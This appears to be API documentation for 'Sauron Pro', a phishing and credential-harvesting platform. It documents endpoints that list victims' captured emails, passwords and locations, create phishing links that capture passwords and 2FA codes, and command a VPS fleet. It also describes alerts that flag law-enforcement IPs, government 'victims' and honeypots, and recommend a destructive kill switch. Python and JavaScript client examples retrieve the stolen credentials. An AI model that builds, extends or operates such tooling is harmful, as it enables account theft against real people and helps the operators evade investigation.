API Reference

Authentication

🔐 Firestore-Witnessed Authentication

Sauron Pro uses a sophisticated Firestore-witnessed authentication system with time-limited cryptographic proofs. This provides enhanced security by ensuring admin credentials are never transmitted over the network.

// Step 1: Generate Authentication Proof
GET /api/auth/proof

Response:
{
  "success": true,
  "requestId": "a35905f9c363f8be3e297a5b59d8cf29",
  "validUntil": "2025-08-21T00:02:56.000Z",
  "signature": "3e69289a81eb9ef8774df5a5bfdef287ff8549c57614a5a3afd1a85dd4e17487",
  "usage": {
    "headers": {
      "X-Request-ID": "a35905f9c363f8be3e297a5b59d8cf29",
      "X-Valid-Until": "1755734576000"
    }
  }
}

// Step 2: Use Authentication Headers
GET /admin/metrics
X-Request-ID: a35905f9c363f8be3e297a5b59d8cf29
X-Valid-Until: 1755734576000
Content-Type: application/json

Security Benefits: No credentials transmitted, 24-hour expiration, cryptographic signatures, replay protection

🚁 VPS Agent Endpoints

POST /vps/command

Receive and execute commands from fleet master

POST /vps/command
Content-Type: application/json

{
  "command": "status"
}

Response:
{
  "status": "active",
  "uptime": "running",
  "version": "v2.1.0"
}

POST /vps/killswitch

⚠️ Emergency kill switch endpoint for VPS agents

POST /vps/killswitch
X-Request-ID: a35905f9c363f8be3e297a5b59d8cf29
X-Valid-Until: 1755734576000
Content-Type: application/json

{
  "destruction_level": 3,
  "reason": "Emergency activation"
}

Response:
{
  "success": true,
  "vps_id": "vps-abc123",
  "stage": "RECEIVED",
  "message": "Kill switch command received",
  "timestamp": "2024-01-15T10:30:00Z"
}

⚠️ WARNING: This endpoint triggers immediate system destruction.

📊 Fleet Analytics

GET /api/metrics/customer

Customer behavior and success metrics across fleet

GET /api/metrics/customer?hours=24

Response:
{
  "timeframe_hours": 24,
  "cutoff_time": "2024-01-14T10:30:00Z",
  "summary": {
    "total_customers": 150,
    "active_sessions": 23,
    "conversion_rate": 0.18,
    "high_risk_count": 5
  },
  "alerts": [
    {
      "type": "critical_victim",
      "email": "admin@government.gov",
      "risk_score": 95,
      "message": "Critical risk victim detected - possible law enforcement"
    }
  ]
}

GET /api/metrics/links

Link performance analytics and optimization data

GET /api/metrics/links

Response:
{
  "success": true,
  "link_performance": {
    "total_links": 25,
    "active_links": 18,
    "avg_click_rate": 0.23,
    "top_performing": [
      {
        "slug": "customer123",
        "clicks": 150,
        "conversions": 45,
        "conversion_rate": 0.30
      }
    ]
  },
  "geographic_distribution": {
    "US": 120,
    "UK": 45,
    "CA": 30
  }
}

GET /api/security/alerts

Real-time security alerts and threat detection

GET /api/security/alerts

Response:
{
  "success": true,
  "alerts": [
    {
      "id": "alert_789",
      "type": "law_enforcement_ip",
      "severity": "critical",
      "email": "detective@police.gov",
      "message": "Law enforcement IP range detected",
      "timestamp": "2024-01-15T10:25:00Z",
      "source_ip": "192.168.100.50",
      "recommended_action": "immediate_killswitch"
    },
    {
      "id": "alert_790",
      "type": "honeypot_detection",
      "severity": "high",
      "message": "Honeypot interaction detected",
      "timestamp": "2024-01-15T10:20:00Z"
    }
  ],
  "alert_counts": {
    "critical": 1,
    "high": 3,
    "medium": 8,
    "low": 12
  }
}

Captured Data

GET /api/credentials

Retrieve all captured credentials

Query Parameters:

limit - Max results (default: 100)
offset - Skip records (default: 0)
since - ISO timestamp filter
slug - Filter by operation slug

Response Fields:

id - Unique identifier
email - Captured email
password - Captured password
ip - Source IP address
user_agent - Browser info
location - Geographic data
timestamp - Capture time

GET /api/credentials?limit=10&since=2024-01-01T00:00:00Z

Response:
{
  "success": true,
  "data": [
    {
      "id": "cred_123",
      "email": "user@company.com",
      "password": "password123",
      "ip": "192.168.1.100",
      "user_agent": "Mozilla/5.0...",
      "location": {
        "country": "United States",
        "region": "California",
        "city": "San Francisco",
        "coordinates": [37.7749, -122.4194]
      },
      "timestamp": "2024-01-01T12:00:00Z",
      "slug": "customer123"
    }
  ],
  "total": 1,
  "has_more": false
}

GET /api/sessions

Retrieve active user sessions

GET /api/sessions

Response:
{
  "success": true,
  "data": [
    {
      "id": "sess_789",
      "ip": "192.168.1.100",
      "user_agent": "Mozilla/5.0...",
      "location": {
        "country": "United States",
        "city": "San Francisco"
      },
      "created_at": "2024-01-01T12:00:00Z",
      "last_activity": "2024-01-01T12:30:00Z",
      "status": "active",
      "pages_visited": 5
    }
  ]
}

GET /api/visits/stats

Get aggregated visit statistics

GET /api/visits/stats?period=24h

Response:
{
  "success": true,
  "data": {
    "total_visits": 150,
    "unique_visitors": 87,
    "conversion_rate": 0.23,
    "top_countries": [
      {"country": "United States", "visits": 45},
      {"country": "United Kingdom", "visits": 23}
    ],
    "hourly_breakdown": [
      {"hour": "00:00", "visits": 5},
      {"hour": "01:00", "visits": 12}
    ]
  }
}

Slug Management

POST /api/slugs

Create a new operation slug

POST /api/slugs
Content-Type: application/json

{
  "slug": "customer123",
  "description": "Q1 Security Assessment",
  "user_id": "usr_456",
  "redirect_url": "https://intranet.company.com",
  "capture_passwords": true,
  "capture_2fa": false,
  "active": true
}

Response:
{
  "success": true,
  "data": {
    "slug": "customer123",
    "user_id": "usr_456",
    "url": "https://your-domain.com/customer123",
    "created_at": "2024-01-01T12:00:00Z",
    "status": "active"
  }
}

GET /api/slugs

List all operation slugs

GET /api/slugs

Response:
{
  "success": true,
  "data": [
    {
      "slug": "customer123",
      "user_id": "usr_456",
      "status": "active",
      "created_at": "2024-01-01T12:00:00Z",
      "stats": {
        "visits": 45,
        "captures": 12,
        "conversion_rate": 0.27
      }
    }
  ]
}

PUT /api/slugs/{slug}

Update an existing operation slug

PUT /api/slugs/customer123
Content-Type: application/json

{
  "description": "Q1 Security Assessment - Updated",
  "active": false
}

Response:
{
  "success": true,
  "message": "Slug updated successfully"
}

System Management

GET /api/system/status

Get system health and status

GET /api/system/status

Response:
{
  "success": true,
  "data": {
    "status": "healthy",
    "uptime": 86400,
    "version": "1.0.0",
    "ssl_status": "valid",
    "ssl_expires": "2024-04-01T00:00:00Z",
    "database": {
      "status": "connected",
      "records": 1250
    },
    "telegram": {
      "status": "connected",
      "bot_username": "@your_bot"
    }
  }
}

GET /api/system/config

Get current system configuration

GET /api/system/config

Response:
{
  "success": true,
  "data": {
    "domain": "your-domain.com",
    "admin_panel_enabled": true,
    "telegram_enabled": true,
    "logging_level": "info",
    "features": {
      "2fa_capture": true,
      "geolocation": true,
      "session_tracking": true
    }
  }
}

GET /api/system/logs

Retrieve system logs

Query Parameters:

type - Log type (system, bot, emits)
level - Log level (debug, info, error)
limit - Max lines (default: 100)
since - ISO timestamp filter

Log Types:

system - Main application logs
bot - Telegram bot logs
emits - Event emission logs

GET /api/system/logs?type=system&level=info&limit=50

Response:
{
  "success": true,
  "data": {
    "logs": [
      {
        "timestamp": "2024-01-01T12:00:00Z",
        "level": "info",
        "message": "Server started on port 443",
        "component": "server"
      },
      {
        "timestamp": "2024-01-01T12:01:00Z",
        "level": "info",
        "message": "SSL certificate loaded successfully",
        "component": "tls"
      }
    ],
    "total": 2
  }
}

Error Handling

Standard Error Responses

400 Bad Request

Invalid request parameters or malformed JSON

401 Unauthorized

Missing or invalid authentication token

404 Not Found

Requested resource does not exist

500 Internal Server Error

Server error - check system logs

Error Response Format:

{
  "success": false,
  "error": {
    "code": "INVALID_CREDENTIALS",
    "message": "Invalid username or password",
    "details": "Authentication failed for user 'admin'"
  }
}

Rate Limiting

API Rate Limits

Default Limits:

• Authentication: 5 requests/minute
• Data endpoints: 100 requests/minute
• System endpoints: 20 requests/minute

Response Headers:

• X-RateLimit-Limit - Max requests
• X-RateLimit-Remaining - Remaining
• X-RateLimit-Reset - Reset timestamp

429 Too Many Requests: Wait for the reset time before making additional requests.

SDK Examples

Python Example

import requests

class SauronAPI:
    def __init__(self, base_url, username, password):
        self.base_url = base_url
        self.token = None
        self.login(username, password)
    
    def login(self, username, password):
        response = requests.post(
            f"{self.base_url}/api/auth/login",
            json={"username": username, "password": password}
        )
        self.token = response.json()["token"]
    
    def get_credentials(self, limit=100):
        headers = {"Authorization": f"Bearer {self.token}"}
        response = requests.get(
            f"{self.base_url}/api/credentials?limit={limit}",
            headers=headers
        )
        return response.json()["data"]

# Usage
api = SauronAPI("https://your-domain.com", "admin", "password")
credentials = api.get_credentials(limit=50)
print(f"Retrieved {len(credentials)} credentials")

JavaScript Example

class SauronAPI {
    constructor(baseUrl, username, password) {
        this.baseUrl = baseUrl;
        this.token = null;
        this.login(username, password);
    }
    
    async login(username, password) {
        const response = await fetch(`${this.baseUrl}/api/auth/login`, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ username, password })
        });
        const data = await response.json();
        this.token = data.token;
    }
    
    async getCredentials(limit = 100) {
        const response = await fetch(
            `${this.baseUrl}/api/credentials?limit=${limit}`,
            {
                headers: { 'Authorization': `Bearer ${this.token}` }
            }
        );
        const data = await response.json();
        return data.data;
    }
}

// Usage
const api = new SauronAPI('https://your-domain.com', 'admin', 'password');
const credentials = await api.getCredentials(50);
console.log(`Retrieved ${credentials.length} credentials`);